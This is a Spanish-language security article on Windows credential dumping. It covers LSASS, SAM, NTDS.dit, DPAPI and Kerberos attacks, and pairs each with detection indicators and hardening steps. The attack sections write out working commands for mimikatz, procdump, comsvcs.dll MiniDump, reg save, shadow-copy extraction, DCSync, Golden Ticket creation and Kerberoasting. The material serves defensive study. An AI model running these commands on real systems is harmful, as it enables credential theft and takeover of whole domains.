AvanzadoWindowscredencialesLSASSMimikatzKerberosdetección

Credential Dumping en Windows: LSASS, SAM, DPAPI y Más Allá

Guía técnica completa de técnicas de credential dumping en Windows. LSASS dump (Mimikatz, procdump, comsvcs.dll), SAM database extraction, DPAPI secrets, Kerberos attacks (Kerberoasting, Golden Ticket), DCSync, y las defensas específicas para cada técnica.

MalwareIntel Research··10 min lectura
Serie: Malware en Windows — Parte 20

Las credenciales: el premio más valioso

En una red Windows corporativa con Active Directory, las credenciales son la llave maestra. Un atacante con el hash NTLM de Domain Admin puede autenticarse en cualquier sistema del dominio. Con un Golden Ticket Kerberos, puede suplantar a cualquier usuario durante la vida útil del ticket (por defecto, 10 horas, renovable 7 días, pero el Golden Ticket puede configurarse para durar años).

El credential dumping es la fase del ataque que extrae estas credenciales de los sistemas comprometidos. Es el paso que transforma el acceso a una máquina individual en acceso a toda la red.

LSASS: el almacén central de credenciales (T1003.001)

Qué contiene LSASS en memoria

CredencialCondicionesRiesgo
Hashes NTLMUsuarios con sesión activa o recientePass-the-hash en toda la red
Tickets Kerberos (TGT, TGS)Usuarios con sesión Kerberos activaPass-the-ticket
Contraseñas en claroSi WDigest está habilitado (default en versiones pre-Win8.1)Acceso directo
Credenciales de servicioService accounts con sesiónMovimiento lateral
Credenciales cacheadasDomain Cached Credentials (DCC2)Cracking offline
PIN/clave de smart cardSi se usó smart cardSuplantación

Técnica 1: Mimikatz (sekurlsa::logonpasswords)

La herramienta más conocida. Mimikatz accede a LSASS directamente y parsea las estructuras de credenciales en memoria:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN10$
Domain            : CONTOSO
NTLM              : 3f4a7e2d6b8c9...
SHA1              : 7e8f9a0b1c2d3...

Authentication Id : 0 ; 12345678
Session           : Interactive from 1  
User Name         : admin
Domain            : CONTOSO
NTLM              : aad3b435b51404ee:8846f7eaee8fb117

Técnica 2: procdump (Sysinternals)

Herramienta legítima de Microsoft. Crea un dump de la memoria de LSASS que se puede analizar offline:

procdump.exe -ma lsass.exe lsass.dmp

El dump se transfiere a la máquina del atacante y se analiza con Mimikatz:

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Ventaja: procdump es una herramienta legítima de Microsoft, firmada. Muchos EDRs no la bloquean por defecto.

Técnica 3: comsvcs.dll MiniDump (LOLBin)

Usar una DLL del sistema para crear el dump sin herramientas externas:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump [LSASS_PID] C:\temp\lsass.dmp full

O via PowerShell:

$lsass = Get-Process lsass
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\temp\lsass.dmp full

Ventaja: no requiere descargar ninguna herramienta. comsvcs.dll es parte de Windows.

Técnica 4: nanodump

Herramienta especializada en dumps sigilosos de LSASS:

  • Dump parcial (solo las secciones con credenciales)
  • Fork del proceso LSASS (crea una copia sin acceder al proceso original)
  • Output en formato custom (no .dmp estándar, para evadir detección)
  • Evasión de EDR hooks

Técnica 5: Task Manager (manual)

El método más simple (pero solo en sistemas sin EDR):

  1. Abrir Task Manager como administrador
  2. Tab Details, encontrar lsass.exe
  3. Click derecho, "Create dump file"
  4. El dump se guarda en %TEMP%

Detección de LSASS dump

MétodoIndicadorEvent ID / Herramienta
Sysmon Event ID 10ProcessAccess a lsass.exe con PROCESS_VM_READSysmon
Sysmon Event ID 1procdump.exe o rundll32.exe con comsvcs.dllSysmon
Sysmon Event ID 11Archivo .dmp creadoSysmon
Windows Event ID 4656Handle abierto en lsass.exeSecurity Log (audit)
EDRAcceso cross-process a LSASSCrowdStrike, SentinelOne
Credential GuardCredenciales no disponibles en dumpVBS/Credential Guard
RunAsPPLLSASS como PPL, bloquea acceso de procesos no firmadosRegistry

Protección: RunAsPPL

Habilitar LSASS como Protected Process Light:

Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Value: RunAsPPL = 1 (DWORD)

Con RunAsPPL activo, solo procesos firmados por Microsoft pueden acceder a LSASS. Mimikatz, procdump (con el target lsass) y nanodump fallan. Sin embargo, BYOVD puede bypassear PPL desde kernel mode.

SAM Database (T1003.002)

Qué es

La SAM (Security Account Manager) database almacena hashes de contraseñas de cuentas locales. Se encuentra en C:\Windows\System32\config\SAM y está bloqueada mientras Windows está ejecutándose.

Técnicas de extracción

Via registro (requiere admin):

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save

Los dos archivos se analizan offline con herramientas como Impacket secretsdump o Mimikatz.

Via Volume Shadow Copy:

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system

Via Mimikatz:

mimikatz # lsadump::sam /system:system.save /sam:sam.save

Detección

  • Sysmon Event ID 1: reg.exe con save y SAM o SYSTEM
  • Acceso a shadow copies fuera de contexto de backup legítimo
  • File creation de archivos .save en ubicaciones temporales

DPAPI: Data Protection API (T1555.004)

Qué protege DPAPI

DPAPI (Data Protection API) cifra datos sensibles almacenados por aplicaciones:

  • Contraseñas guardadas en navegadores (Chrome, Edge, Firefox)
  • Credenciales almacenadas por el Windows Credential Manager
  • WiFi passwords
  • Certificados privados
  • Datos de aplicaciones que usan CryptProtectData()

Cómo funciona

DPAPI cifra datos con una clave derivada de la contraseña del usuario (Master Key). Las Master Keys se almacenan cifradas en:

%APPDATA%\Microsoft\Protect\{SID}\{GUID}

Para descifrar, se necesita la contraseña del usuario o el hash NTLM. Si el atacante ya tiene el hash NTLM (del LSASS dump), puede descifrar todas las DPAPI master keys y acceder a todos los datos protegidos.

Herramientas

HerramientaFunción
SharpDPAPI (GhostPack)Descifrar DPAPI master keys y datos protegidos
Mimikatz (dpapi::masterkey)Descifrar master keys
dpapi.py (Impacket)Descifrar DPAPI remotamente
DonPAPIAutomatiza extracción de DPAPI secrets de múltiples hosts

Detección

  • Acceso a archivos en %APPDATA%\Microsoft\Protect\ por procesos no estándar
  • Ejecución de SharpDPAPI o herramientas similares
  • Acceso masivo a archivos de credenciales de navegadores

Ataques Kerberos

Kerberoasting (T1558.003)

Solicitar tickets de servicio Kerberos (TGS) para cuentas de servicio con SPN (Service Principal Name) configurado. Los tickets se cifran con el hash de la contraseña de la cuenta de servicio, lo que permite cracking offline.

# Rubeus: Kerberoasting
Rubeus.exe kerberoast /outfile:tickets.txt

# Impacket: Kerberoasting remoto
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tickets.txt

# Cracking con hashcat
hashcat -m 13100 tickets.txt wordlist.txt

Detección: Event ID 4769 con encryption type RC4 (0x17) para tickets de servicio. Kerberos normalmente usa AES; RC4 indica Kerberoasting.

AS-REP Roasting (T1558.004)

Atacar cuentas con "Do not require Kerberos preauthentication" habilitado. Permite solicitar un AS-REP cifrado con el hash de la cuenta sin autenticarse primero.

Rubeus.exe asreproast /outfile:asrep.txt

Detección: Event ID 4768 sin preauthentication y con RC4 encryption.

DCSync (T1003.006)

Simular un Domain Controller y solicitar la replicación de hashes de contraseñas de Active Directory:

mimikatz # lsadump::dcsync /domain:contoso.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:contoso.local /all

DCSync obtiene el hash del usuario krbtgt, que permite crear Golden Tickets.

Detección: Event ID 4662 con operaciones de replicación de AD desde una máquina que no es un Domain Controller. Los derechos requeridos son DS-Replication-Get-Changes y DS-Replication-Get-Changes-All.

Golden Ticket (T1558.001)

Con el hash de krbtgt (obtenido via DCSync o dump de NTDS.dit), crear un TGT Kerberos válido para cualquier usuario:

mimikatz # kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-... /krbtgt:HASH /ptt

El Golden Ticket es persistente: funciona hasta que se cambia la contraseña de krbtgt DOS VECES (porque Kerberos guarda la contraseña actual y la anterior).

Detección: TGTs con tiempos de vida anormales, TGTs para usuarios que no existen en AD, Event ID 4769 con ticket encryption que no coincide con la política del dominio.

NTDS.dit: la base de datos de Active Directory (T1003.003)

Qué es

NTDS.dit es la base de datos de Active Directory que contiene hashes de TODOS los usuarios del dominio. Se encuentra en C:\Windows\NTDS\ntds.dit en los Domain Controllers.

Técnicas de extracción

# Via ntdsutil (herramienta legítima de Microsoft)
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_dump" q q

# Via vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Analisis offline con Impacket
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Impacto

NTDS.dit contiene los hashes de TODAS las cuentas del dominio. Su extracción equivale a compromiso total del dominio.

Detección

  • Event ID 4662 en el Domain Controller con operaciones de lectura de objetos de AD
  • Sysmon Event ID 1: ntdsutil.exe ejecutado
  • Creación de shadow copies en Domain Controllers
  • Archivos ntds.dit copiados a ubicaciones no estándar

Resumen: técnicas por fuente de credenciales

FuenteTécnicaHerramientaATT&CK ID
LSASS (memoria)Memory dumpMimikatz, procdump, nanodumpT1003.001
SAM (registro)Registry savereg.exe, MimikatzT1003.002
NTDS.dit (AD)Database copy / DCSyncntdsutil, Impacket, MimikatzT1003.003
LSA SecretsRegistry extractionMimikatz, ImpacketT1003.004
Cached CredentialsDCC2 extractionMimikatz, cachedumpT1003.005
Active Directory (DCSync)Replication protocolMimikatz, ImpacketT1003.006
DPAPIMaster key decryptionSharpDPAPI, MimikatzT1555.004
BrowsersSQLite DB readSharpChrome, HackBrowserDataT1555.003
Kerberos TGSKerberoastingRubeus, ImpacketT1558.003
Kerberos AS-REPAS-REP RoastingRubeus, ImpacketT1558.004
Kerberos TGTGolden TicketMimikatzT1558.001

Defensa en profundidad contra credential dumping

Prioridad 1 (implementar inmediatamente)

  • Habilitar Credential Guard (VBS) en endpoints compatibles
  • Habilitar RunAsPPL para LSASS
  • Deshabilitar WDigest (para eliminar contraseñas en claro de LSASS)
  • Monitorizar accesos a LSASS (Sysmon Event ID 10)
  • Cuentas de servicio con contraseñas de 25+ caracteres (contra Kerberoasting)

Prioridad 2 (implementar este mes)

  • Cambiar contraseña de krbtgt cada 180 días (prevenir Golden Ticket duradero)
  • Eliminar "Do not require Kerberos preauthentication" de todas las cuentas
  • Implementar tiered admin model (Domain Admins no inician sesión en workstations)
  • Alertar en Event ID 4769 con RC4 encryption (Kerberoasting)
  • Alertar en DCSync: Event ID 4662 con replication rights desde non-DC

Prioridad 3 (implementar este trimestre)

  • gMSA (Group Managed Service Accounts) para service accounts
  • LAPS (Local Administrator Password Solution) para admin local
  • PAW (Privileged Access Workstations) para Domain Admins
  • Auditoría periódica de SPNs y cuentas sin preauthentication

Fuentes y referencias

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.